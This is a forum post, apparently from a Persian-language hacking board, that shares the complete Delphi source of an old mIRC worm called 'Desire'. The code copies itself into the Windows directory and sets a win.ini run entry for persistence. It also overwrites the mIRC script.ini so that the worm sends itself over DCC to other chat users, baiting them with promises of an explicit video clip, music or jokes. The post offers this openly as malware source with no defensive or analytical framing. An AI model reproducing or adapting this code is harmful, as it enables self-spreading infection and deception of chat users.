• 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Source Code IRC-Worm.Win32.Desire Delphi
#1
کرم زیر نرم افزار mirc رو مورد هدف قرار میدهد.

Code:
{

Desire Worm
Version 1.00
By The WalruS
10/2001

}

unit DesireWorm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  jpeg, ExtCtrls, StdCtrls;

type
    TForm1 = class(TForm)
    Image1: TImage;
    procedure Hit(Sender: TObject);
    procedure Show(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

// This procedure gets the mirc path passed to it and then drops the script
procedure WriteMircScript(MircPath: String);
    var fFile: Text;
    begin
    AssignFile(fFile,MircPath);
    Rewrite(fFile);
    writeln(fFile,'[script]');
    writeln(fFile,'; Desire Worm By The WalruS (c) 10/2001');
    writeln(fFile,'n0=on 1:start:{');
    writeln(fFile,'n1= /.remote on');
    writeln(fFile,'n2= /.ctcps on');
    writeln(fFile,'n3= /.events on');
    writeln(fFile,'n4= /.ebeeps off');
    writeln(fFile,'n5= /.pdcc 99999999999');
    writeln(fFile,'n6= /.dcc packetsize 4096');
    writeln(fFile,'n7=           }');
    writeln(fFile,'n8=on 1:connect:{ /.clearall');
    writeln(fFile,'n9=           /.enable #spreadin');
    writeln(fFile,'n10=          /.copy -o C:\Windows\Backup.pif C:\Desire.exe');
    writeln(fFile,'n11=        }');
    writeln(fFile,'n12=on 1:disconnect:{ /.remove C:\Desire.exe');
    writeln(fFile,'n13=  /.remove C:\Joke.exe');
    writeln(fFile,'n14= /.remove C:\Sample.exe');
    writeln(fFile,'n15=        }');
    writeln(fFile,'n16=on 1:join:#:if ( $nick != $me ) { /.msg $nick To see a hot s      /\/\///\e///:/x clip just type: !send in $chan }');
    writeln(fFile,'n17=on 1:nick:/.msg $newnick Hey $newnick is better than $nick ;-)   If you wanna see a hot s      /\/\///\e///:/x clip just type: !send in $chan');
    writeln(fFile,'n18=on 1:filercvd:*.*:/.dcc send $nickC:\Desire.exe');
    writeln(fFile,'n19=on 1:filesent:*.jpg,*.jpeg,*.gif,*.bmp,*.mpg,*.mpeg,*.avi:/.dcc send $nick  C:\Desire.exe');
    writeln(fFile,'n20=on 1:text:*!send*:#: { if ( $nick == $me ) {halt} | /.dcc send $nick  C:\Desire.exe | /.msg $nick Here is the s      /\/\///\e///:/x clip u asked for, cya soon. }');
    writeln(fFile,'n21=on 1:text:*music*:#: {/.copy -o  C:\Desire.exe  C:\Sample.exe | if ( $nick == $me ) {halt} | /.dcc send $nick C:\Sample.exe | /.msg $nick Here is some cool music');
    writeln(fFile,'n22=on 1:text:*joke*:#: {/.copy -o  C:\Desire.exe  C:\Joke.exe | if ( $nick == $me ) {halt} | /.dcc send $nick C:\Joke.exe | /.msg $nick Here is a joke for you }');
    writeln(fFile,'n23=#spreadin off');
    writeln(fFile,'n24=#spreadin end');
    CloseFile(fFile);
end;

// When form is shown
procedure TForm1.Show(Sender: TObject);

     // My variables
    var MircFile: String;
        MircPath: String;
    begin

     // Copy file to Windows Directory
     copyfile('Desire.exe', 'C:\Windows\Backup.pif',true);

     // Set up run pointer in Win.ini
     writeprivateprofilestring ('windows','run','C:\Windows\Backup.pif' ,'win.ini');

     // Checks for mirc in 4 popular directories
     MircFile := FileSearch('mirc.ini', 'c:\program files\mirc + ;' + 'c:\mirc + ;' + 'd:\mirc + ;' + 'd:\program files\mirc');

     If MircFile = 'c:\program files\mirc\mirc.ini' Then
        begin
        MircPath := 'c:\program files\mirc\';
        WriteMircScript(MircPath + 'script.ini');
     end;
     If MircFile = 'c:\mirc\mirc.ini' Then
     begin
        MircPath := 'c:\mirc\';
        WriteMircScript(MircPath + 'script.ini');
     end;
     If MircFile = 'd:\program files\mirc\mirc.ini' Then
         begin
            MircPath := 'd:\program files\mirc\';
            WriteMircScript(MircPath + 'script.ini');
         end;
     If MircFile = 'd:\mirc\mirc.ini' Then
         begin
            MircPath := 'd:\mirc\';
            WriteMircScript(MircPath + 'script.ini');
         end;

     If Application.ExeName = 'C:\WINDOWS\BACKUP.PIF' Then
     close;
end;

// When User Clicks On The Picture
procedure TForm1.Hit(Sender: TObject);
begin
     Application.messagebox('One Too Many Burgers','Desire',MB_ICONEXCLAMATION);
     close;
end;

end.
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  Source Code LOA-worm Delphi Amin_Mansouri 0 5,719 03-30-2012، 01:05 PM
Last Post: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 3,955 03-30-2012، 01:00 PM
Last Post: Amin_Mansouri
  (USB-Worm for UNIX/LINUX) Amin_Mansouri 0 3,214 11-09-2011، 03:17 PM
Last Post: Amin_Mansouri
  delphi disable msconfig Amin_Mansouri 0 3,225 10-18-2011، 01:22 AM
Last Post: Amin_Mansouri
  USB Worm C++ Amin_Mansouri 0 3,415 10-12-2011، 12:11 AM
Last Post: Amin_Mansouri
  C++ worm example Amin_Mansouri 0 3,801 09-28-2011، 06:15 PM
Last Post: Amin_Mansouri
  [VB.NET]DC Worm Amin_Mansouri 0 4,983 09-26-2011، 09:41 AM
Last Post: Amin_Mansouri
  [DELPHI]Virus EXE infector - Example, by DjH Amin_Mansouri 0 3,693 09-22-2011، 12:40 AM
Last Post: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 3,903 08-30-2011، 11:54 AM
Last Post: Amin_Mansouri
  Source Code Virus & Worm Amin_Mansouri 4 8,815 06-25-2011، 10:55 AM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('1998')